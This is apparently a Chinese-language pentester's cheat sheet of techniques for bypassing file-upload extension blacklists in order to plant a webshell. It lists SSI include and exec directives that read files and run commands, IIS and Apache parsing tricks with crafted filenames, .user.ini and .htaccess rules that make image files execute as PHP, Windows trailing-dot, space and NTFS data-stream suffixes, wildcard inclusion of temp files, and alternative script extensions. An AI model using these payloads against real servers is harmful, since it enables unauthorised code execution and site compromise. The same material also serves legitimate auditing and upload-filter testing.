当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名asp php jsp这种的不允许上传,下面是我总结的一些绕过的方法

#### Shtml

<!--#include file="/home/www/user8534/nav\_foot.htm"--> //可以用来读文件

<!--#exec cmd="ifconfig"--> //可以用来执行命令

#### iis解析

sanr.php;.gif

sanr.asp;.jpg

sanr.asp/sanr.jpg

#### .user.ini

User.ini

auto\_prepend\_file:指定在每个PHP页面执行前所要执行的代码

auto\_prepend\_file=demo.gif (每个页面都会加载demo.gif)

#### .htaccess

AddType application/x-httpd-php     .jpg

#### Window特性

1. 利用空格 demo.php空格
2. 小数点去绕过 demo.php.
3. Ads数据流 demo.php::$DATA
4. Ads数据流(但文件是空) demo.php:jpg

Window通配符 demo.<<< 两者相结合拿到webshell

Tips：直接用3就可以 只不过延伸下window通配符的方法

Window通配符可以在包含文件的时候包含c:window/temp目录临时php文件(文件包含本地测试成功 但是实际渗透很少成功 因为session文件也是php开头 如同时匹配多个文件以php开头的这种，会拿到第一个php文件，不确保是自己上传的临时文件)

#### 大小写绕过

aSp pHp JsP

#### 扩展名绕过

Asp：asa cer cdx

Aspx: ashx asmx ascx

Php:  php3 phtml

Jsp:   jspx jspf

#### Apache的解析

sanr.php.xxxxxx